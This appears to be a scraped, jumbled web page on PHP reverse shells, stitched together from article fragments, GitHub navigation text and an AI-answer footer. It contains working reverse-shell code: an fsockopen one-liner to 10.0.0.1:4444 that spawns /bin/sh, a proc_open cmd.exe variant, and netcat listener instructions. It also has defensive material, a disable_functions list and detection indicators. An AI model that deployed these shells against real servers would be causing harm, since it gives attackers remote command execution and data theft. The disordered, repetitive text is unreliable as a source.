disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source Use code with caution. 2. Enforce Strict File Permissions
In a reverse shell PHP attack, the attacker embeds a PHP script into a file that, when executed on a web server, establishes a connection from the server back to the attacker's machine. This script typically runs a command-line interface that allows the attacker to execute system commands on the server.
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: Use nc -nlvp [port] to catch the connection, or rlwrap to add command history and better line editing to your basic shell. pentestmonkey/php-reverse-shell - GitHub
The script’s core structure also includes a standard configuration block for the attacker’s IP address and port, along with variables for data transfer and shell invocation: reverse shell php top
Utilize Endpoint Detection and Response (EDR) agents or software like Web Application Firewalls (WAF) to look for anomalies. A web server process running /bin/sh or /bin/bash is a critical indicator of compromise (IoC) that should trigger immediate automated isolation. Conclusion
Bypassed! and uploaded a sweet reverse shell | by Ajay Sharma
Tested on modern PHP versions (7.x and 8.x) and various environments like XAMPP and Docker. 3. Lightweight One-Liners
A modernized version of the original PentestMonkey script that includes auto-detection for Windows (cmd.exe) and Linux (/bin/sh) environments. This script typically runs a command-line interface that
Below are examples and a detailed guide on how to create a simple reverse shell in PHP. This example assumes you have a basic understanding of PHP and access to a web server where you can upload and execute PHP files.
: Once the reverse shell connection is established, the attacker can execute commands on the server, view files, download data, and even move laterally within the network.
Repository files navigation * README. * GPL-2.0 license. * More. GPL-2.0 license. License. php-reverse-shell.php - BlackArch/webshells - GitHub
PHP reverse shells remain a potent tool for remote command execution, making them a top concern for web security. While various techniques exist, understanding how they operate—from basic Netcat connections to heavily encoded stealthy shells—is essential for both penetration testers and security defenders. Proper server configuration, disabling dangerous functions, and diligent monitoring are the best defenses against these threats. If you share with third parties, their policies apply
(edit inside the script before deployment):
<?php $sock=fsockopen("10.0.0.1", 4444); exec("/bin/sh -i <&3 >&3 2>&3"); ?>
$sock = fsockopen($ip, $port); $descriptorspec = array( 0 => $sock, 1 => $sock, 2 => $sock ); proc_open('cmd.exe', $descriptorspec, $pipes);
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